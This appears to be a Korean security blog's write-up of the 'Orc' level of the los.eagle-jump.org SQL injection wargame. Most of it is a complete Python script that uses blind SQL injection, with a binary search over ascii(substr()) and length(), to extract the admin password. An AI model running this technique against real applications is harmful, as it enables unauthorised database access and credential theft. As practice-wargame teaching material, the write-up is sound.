Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

Orc 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Orc 문제풀이

POSIX 2019. 1. 30. 05:13


los.eagle-jump.org의 세번째 문제입니다.

이번 문제의 특징은 로그인에 성공해도

출력되는 것이 Hello admin 이라는 문자열로 

고정되어 있다는 점입니다.


또한 1차로 로그인에 성공해도

2차로 addslashes를 적용한 쿼리 결과값과도 일치해야 하므로

결국은 첫번째 쿼리를 이용해 pw값을 찾아내어

두번째 쿼리를 통과해내는 문제라고 할 수 있겠습니다.



pw 값을 변조하여 로그인에 성공해도

$result['id'] 값이 직접적으로 표시되지 않고

조건문 분기에만 사용되므로

Blind SQL Injection 기법을 사용하여야 합니다.


from urllib import request, parse
import math, sys

def check_true(response): return (response.find(b'Hello admin') != -1);

def if_query(query):
	url = 'https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=' \
		+ parse.quote("' or id='admin' and " + query + '-- -')
	
	req = request.Request(url)
	req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
	req.add_header('user-agent','Mozilla/5.0')
	
	response = None
	
	while response is None:		
		try:
			response = request.urlopen(req)
		except:
			pass
	
	output = response.read()
	return check_true(output)

def check_greater_than(query, val):
	return if_query(query + '>=' + str(val))
	
def find_char(query):
	first = 0
	last = 129
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
			
	return chr(first)

def get_length(query):
	first = 0
	last = 65
	
	query = 'length(' + query + ')'
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
	
	return first

def get_content(name):
	name = '(' + name + ')'
	content_len = get_length(name);
	content = ''
	
	if content_len == 0:
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
	
	sys.stdout.write('\n')
	return content

content = get_content('pw')	


취약점을 기반으로 작성한 파이썬3 스크립트입니다.



스크립트를 사용해 얻어낸 pw 값을 인자에 넣어주면

두번째 쿼리가 통과됩니다.



'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Darkelf 문제풀이  (0) 2019.01.30
Wolfman 문제풀이  (0) 2019.01.30
Goblin 문제풀이  (0) 2019.01.30
Cobolt 문제풀이  (0) 2019.01.30
Gremlin 문제풀이  (0) 2019.01.30
Comments